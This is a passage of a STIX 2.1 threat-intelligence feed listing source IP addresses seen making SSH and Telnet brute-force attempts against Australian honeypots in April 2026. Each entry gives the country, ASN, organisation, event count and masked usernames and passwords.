        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--ad7063dd-076f-4899-9fca-896340e52235",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.161.9.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t, a***n, s********r. Passwords observed (masked): 1**4, a**o, j******h, p**s, z******4.",
      "id": "indicator--001b6e55-4bc7-44fb-9e31-b1ce3d859f2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '219.78.212.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): o********3, r**t.",
      "id": "indicator--487d88e7-4408-4f9e-b39e-db2d865adaf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.32.70.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): f*****r. Passwords observed (masked): F*******9.",
      "id": "indicator--6d67dc21-fa79-4b75-96b9-de842d2fb066",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.91.30.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:15:04.000Z",
      "valid_until": "2026-05-15T11:15:02.000Z"
    },
    {
      "created": "2026-04-13T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): ***, 3**********4, d****y, r**t, t***1. Passwords observed (masked): 3***********4, 3**********4, F*******!, N******5, R*****!.",
      "id": "indicator--ccf7f235-c496-4dc2-ac79-ba924e7d8b15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:15:05.000Z",
      "valid_until": "2026-05-15T12:15:02.000Z"
    },
    {
      "created": "2026-04-13T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Passwords observed (masked): 1****6.",
      "id": "indicator--7462c6e4-4751-41f4-b224-4200f2a2490e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.86.121.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:15:05.000Z",
      "valid_until": "2026-05-15T12:15:02.000Z"
    },
    {
      "created": "2026-04-13T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--80715ad1-5463-4b6c-b0b4-0c0f05e3f4ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.230.107.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:15:05.000Z",
      "valid_until": "2026-05-15T12:15:02.000Z"
    },
    {
      "created": "2026-04-13T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4, **, p******s, t***1. Passwords observed (masked): 1******a, 3***********4, 3**********4, ***, m***3.",
      "id": "indicator--ab7a4efe-9fd6-4e02-89e2-4d49833cdb51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.99.184.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:15:05.000Z",
      "valid_until": "2026-05-15T12:15:02.000Z"
    },
    {
      "created": "2026-04-13T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 364. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, ***, s*****t, t**t. Passwords observed (masked): 1***5, a***n, p******d, 0**************D, *.",
      "id": "indicator--fb24adb7-0b97-4dab-97aa-b87ca8e1ee11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.172.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:15:03.000Z",
      "valid_until": "2026-05-15T13:15:02.000Z"
    },
    {
      "created": "2026-04-13T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4, A***e, a***n, o**o. Passwords observed (masked): 3***********4, 3**********4, A***********9, Y***************., o***@.",
      "id": "indicator--a7b08dec-69c2-4008-b8a3-42f7cd0fe3b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.255.158.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:15:03.000Z",
      "valid_until": "2026-05-15T13:15:02.000Z"
    },
    {
      "created": "2026-04-13T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, r********6.",
      "id": "indicator--f055aa5c-d203-432e-9cd2-3f193fa20a04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:15:03.000Z",
      "valid_until": "2026-05-15T13:15:02.000Z"
    },
    {
      "created": "2026-04-13T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 360. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, c***o, t**t, u**r. Passwords observed (masked): 1**4, a***n, 0********1, 1**1, 1****6.",
      "id": "indicator--2b98c358-f63f-4de3-8e52-90770f80a792",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.44.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T13:15:03.000Z",
      "valid_until": "2026-05-15T13:15:02.000Z"
    },
    {
      "created": "2026-04-13T14:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 149148. Organisation(s): Phu Hai Computer Co., Ltd.",
      "id": "indicator--83022dca-501f-4d42-8c4d-5abc0601ac65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.38.236.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:15:04.000Z",
      "valid_until": "2026-05-15T14:15:02.000Z"
    },
    {
      "created": "2026-04-13T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, a**a, 3**********4, a***n, ***. Passwords observed (masked): 1****e, 3***********4, 3**********4, A******!, A****!.",
      "id": "indicator--e043a0f5-1896-4c53-b29b-c6e7156ba952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.196.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:15:04.000Z",
      "valid_until": "2026-05-15T14:15:02.000Z"
    },
    {
      "created": "2026-04-13T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6efdcd75-78ac-46dd-af89-c2b7b9c905a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:15:04.000Z",
      "valid_until": "2026-05-15T14:15:02.000Z"
    },
    {
      "created": "2026-04-13T16:17:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): r**t, u****u, 3**********4, ***, d****y. Passwords observed (masked): 3***********4, 3**********4, H******6, P******d, U*******!.",
      "id": "indicator--b1267376-ac67-4d42-b40d-baf6bf3fd3dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T16:17:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.191.14.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:17:24.000Z",
      "valid_until": "2026-05-15T16:15:02.000Z"
    },
    {
      "created": "2026-04-13T16:17:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 38193. Organisation(s): Transworld Associates Pvt. Ltd.. Usernames observed (masked): r**t, 3**********4, t*******k, u****u. Passwords observed (masked): 1******V, 3***********4, 3**********4, T********0, U*******!.",
      "id": "indicator--c1d152bb-dc46-4ccb-b027-1e13367e0465",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T16:17:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.93.219.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:17:24.000Z",
      "valid_until": "2026-05-15T16:15:02.000Z"
    },
    {
      "created": "2026-04-13T16:17:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1ef7a277-8d27-4441-8a26-d99ea9506f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T16:17:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:17:24.000Z",
      "valid_until": "2026-05-15T16:15:02.000Z"
    },
    {
      "created": "2026-04-13T16:17:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): d****y, r**t, 3**********4, ***, d******r. Passwords observed (masked): 3***********4, 3**********4, B**#, F*****0, a****3.",
      "id": "indicator--a6b156b1-5de5-4572-84e7-6cd429123f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T16:17:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.81.244.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:17:24.000Z",
      "valid_until": "2026-05-15T16:15:02.000Z"
    },
    {
      "created": "2026-04-13T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--89fd0d76-c92b-4747-adb1-e93c02929b1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:15:10.000Z",
      "valid_until": "2026-05-15T17:15:08.000Z"
    },
    {
      "created": "2026-04-13T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--420c4abe-37f1-4428-86c1-12fb791c55b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:15:10.000Z",
      "valid_until": "2026-05-15T17:15:08.000Z"
    },
    {
      "created": "2026-04-13T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--9e049ced-9ce6-4c23-9d15-c155cf29f321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.229.164.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:15:03.000Z",
      "valid_until": "2026-05-15T18:15:01.000Z"
    },
    {
      "created": "2026-04-13T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--983ec80e-4b99-4407-ad22-4a8d86b1ddd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.236.153.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T19:15:03.000Z",
      "valid_until": "2026-05-15T19:15:01.000Z"
    },
    {
      "created": "2026-04-13T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): d******r. Passwords observed (masked): 1****e.",
      "id": "indicator--0f6350d9-fc34-4aa1-aecb-b839cf248ddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.227.170.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T19:15:03.000Z",
      "valid_until": "2026-05-15T19:15:01.000Z"
    },
    {
      "created": "2026-04-13T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): m*****r, s*****t, u**r. Passwords observed (masked): m*****r, s*****t, u**r.",
      "id": "indicator--2979a53c-c68f-4e10-8582-d3dac5566702",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.38.143.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T19:15:03.000Z",
      "valid_until": "2026-05-15T19:15:01.000Z"
    },
    {
      "created": "2026-04-13T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--0b000a07-ca0b-4f11-bec0-ae9e4b4545b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.243.65.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T19:15:03.000Z",
      "valid_until": "2026-05-15T19:15:01.000Z"
    },
    {
      "created": "2026-04-13T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--30562a9b-caa9-4a05-9baf-6f26a47939b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.172.55.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T20:15:04.000Z",
      "valid_until": "2026-05-15T20:15:01.000Z"
    },
    {
      "created": "2026-04-13T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA. Usernames observed (masked): r**t, 3**********4, f******t, s***m, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--00e23bee-27af-4186-bc99-4f313bb4007e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.129.122.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T20:15:04.000Z",
      "valid_until": "2026-05-15T20:15:01.000Z"
    },
    {
      "created": "2026-04-13T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--0c876d27-6905-4150-a6cb-de0c94b420c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T20:15:04.000Z",
      "valid_until": "2026-05-15T20:15:01.000Z"
    },
    {
      "created": "2026-04-13T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, f******t, u****u, c****e, d****y. Passwords observed (masked): ***, 1****e, ***, 3***********4, A*********0.",
      "id": "indicator--b6c19b5c-2cfc-43e6-b9ae-7149e0e89c35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.166.242.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T20:15:04.000Z",
      "valid_until": "2026-05-15T20:15:01.000Z"
    },
    {
      "created": "2026-04-13T21:16:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): ***. Passwords observed (masked): B****!.",
      "id": "indicator--62a39e0b-5f5d-4494-9f6e-cb74d26565b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T21:16:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.11.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T21:16:03.000Z",
      "valid_until": "2026-05-15T21:15:01.000Z"
    },
    {
      "created": "2026-04-13T21:16:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 17621. Organisation(s): China Unicom Shanghai network. Usernames observed (masked): v******1. Passwords observed (masked): 1****6.",
      "id": "indicator--f393e0d8-483e-404f-9b07-de0c8e01a814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T21:16:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.31.103.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T21:16:03.000Z",
      "valid_until": "2026-05-15T21:15:01.000Z"
    },
    {
      "created": "2026-04-13T21:16:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3517c695-3a7c-452e-a618-f4d943ff0a3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T21:16:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T21:16:03.000Z",
      "valid_until": "2026-05-15T21:15:01.000Z"
    },
    {
      "created": "2026-04-13T21:16:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
